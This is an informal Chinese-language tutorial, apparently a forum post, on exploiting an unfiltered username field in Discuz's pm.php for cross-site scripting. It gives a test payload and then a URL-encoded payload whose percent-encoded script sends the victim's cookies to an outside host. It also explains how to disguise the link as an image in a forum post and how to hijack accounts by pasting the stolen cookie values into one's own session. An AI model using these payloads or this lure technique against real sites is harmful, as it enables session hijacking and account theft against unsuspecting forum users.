这次我拿Discuz示范给大家看,首先我们都知道,Discuz在pm.php的程式中,并没有对
会员名字做过滤,导致我们可以写入一些script.
聪明的同学们,想到了吗?我们正可以利用这个漏洞写一段获取cookies的script.
这是要像看到颜色 就会反应的!(取自 数学补习班= =")
所以我们先从本端 获取自己cookies看看...
例句:
http://www.abc.com/pm.php?action=send&username=看啥?"><script>alert(documents.cookie)</script><
OK? 接下来 我们为了要获取别人的cookies 所以采用跨站台的方式,
首先把让对方看了我们精心构制好的URL.连了之后会到我们构制好的php or asp 程式里面.
并把对方自己的cookies写入 我们的程式中...(如果需要 请googles搜寻 大陆狗 那边一堆)...
所以啦~获取到对方cookies之后,我们找自己在该论坛的cookies记录..
找到之后 把cookies里面的资讯改成对方的使用者名称,以及加密过的md5码...
切记md5码是不可以反逆的~
现在我把原理说完ㄌ...开始实战吧~~小杂碎 快来阿!
现在已经知道pm.php的bug. 我们也已经把php程式上传准备完成.
接下来 我们到论坛发link! P.S. 有些论坛 还可以利用 头像 来欺骗...
全看个人的思维....(想起数学老师ㄌ= =")
我贴了个问电脑问题的文章连结,并附上图片...(嘿嘿重点在图片拉~)
我假设有一个假网址,http://myweb.hinet.net/uarestupid/home1/XXX.jpg
随便你写 只要看起来像个图片 连结就够了....
并把http://myweb.hinet.net/uarestupid/home1/XXX.jpg加上我们漏洞的连结,
所以看起来就是这样:
http://myweb.hinet.net/uarestupid/home1/XXX.jpg
以上这段图片link看起来大家都毫不考虑的认为真的是图片...
其实连结到,
http://www.abc.com/pm.php?action=send&username=fuck%22%3E%3Cscript%3Ewindow.open("%68%74%74%70%3A%2F%2F%6D%65%6D%62%65%72%73%2E%6C%79%63%6F%73%2E%63%6F%2E%75%6B%2F%6A%65%72%65%6D%79%68%63%77%2F%68%2E%70%68%70?"%2Bdocuments.cookie)%3C/script%3E%3Cb%22
以上我已经url编码过了,用功的同学用cookies搜一下吧...
所以呢 他按了图片连结后....把自己的cookies送出去了 = =" 但是他还是可以看到图片...